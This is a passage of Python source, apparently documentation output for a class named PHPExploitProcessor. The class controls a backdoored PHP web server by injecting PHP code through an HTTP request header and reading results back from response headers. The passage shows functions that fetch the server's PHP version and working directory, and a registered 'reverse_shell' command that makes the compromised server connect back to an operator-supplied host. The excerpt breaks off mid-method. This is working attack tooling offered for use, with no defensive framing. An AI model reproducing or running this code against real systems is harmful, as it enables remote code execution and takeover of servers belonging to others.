Class PHPExploitProcessor

src/PHPExploitProcessor.py:25–346

        Inherits from the ExploitProcessor class. 
"""
class PHPExploitProcessor(ExploitProcessor):
    def __init__(self, host: str, path: str, method: str, header: str):
        super().__init__(host, path, method, header)
        self.commands["reverse_shell"] = {
            "method": self._Base__reverse_shell,
            "description": "Start a reverse shell from the target machine.",
            "usage": ("reverse_shell host [port]\n"
                      "    host: hostname of your machine, to which the "
                      "backdoored server will connect to.\n"
                      "    port: the port to communicate over, "
                      "defaults to 5000")
        }


    """
    @brief See base class for details.
    """
    def get_name():
        return "PHP"
    
    """
    @brief See base class for details.
    """
    def _Base__version(self, options: str):
        res = self._Base__send_message(f"header('{self.header}: '"
                                       f" . phpversion());"
                                       f"exit;")
        print("PHP Version: " + res)

    """
    @brief See base class for details.
    """
    def _Base__make_connection(self):
        try:
            return self._Base__send_message(f"header('{self.header}: '"
                                            f" . getcwd());"
                                            f"exit;")
        except:
            raise CommandException(f"Unable to exploit host. Make sure the "
                                   f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, "
                                   f"and METHOD are correct.")
    
    """
    @brief See base class for details.
    """
    def _Base__send_message(self, message: str):
        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}": message }
            )
            if not response.ok:
                raise Exception()
            if not self.header in response.headers: